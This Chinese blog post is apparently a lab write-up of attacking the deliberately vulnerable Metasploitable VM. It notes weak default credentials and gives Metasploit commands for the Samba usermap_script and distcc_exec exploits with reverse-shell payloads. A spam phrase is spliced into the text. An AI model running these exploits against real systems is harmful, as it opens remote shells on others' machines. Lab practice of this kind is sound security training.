Samba&distcc 漏洞

漏洞测试确实是可以的 当时把文章copy下来进行再进行测试。但是没有copy到图片，实验是成功了，但是没有那么直观。使用metasploit对metasploitable 靶服务器进行***metasploitable 是ubuntu8.0的版本neuss扫描到漏洞139端口可以获取该系统主机名为“METASPLOITABLE”，注释“metaspl免费云主机域名oitable server (Samba 3.0.20-Debian)”；系统存在弱口令，用户user、msfadmin密码与用户名一样，使用net use命令能够建立连接查看共享资源。ftp开放版本信息 ProFTPD 1.3.1 Server (Debian)，user这个用户在ftp中也可以使用；telnet服务开放，可确定该系统为Ubuntu 8.04，用户user、msfadmin可以登录，并获得相应权限。如果不存在弱口令，通过截获该telnet数据也能获取用户口令一个distcc漏洞一个samba 共享服务漏洞msf对靶服务器的工具smb-samba 共享服务use exploit/multi/samba/usermap_scriptset payload cmd/unix/reverseset rhost （ip address)set lhost （ip address)exploituse exploit/unix/misc/distcc_execset payload cmd/unix/reverse_perlset rhost （ip address)set lhost （ip address)exploitdistcc 成功 但是没有root的权限

相关推荐: 虚拟桌面安全策略：网络隔离方案

在传统的桌面方案中网络隔离方面大多使用物理隔离（如隔离卡方案、双PC模式）以及逻辑隔离（如基于ACL/VLAN的网络策略）来实现网络的隔离。 此外也可以借此如网络准入操作简称NAC的方式来实现网络的逻辑隔离NAC的方式支持多种模式 免费云主机域名 基于802.…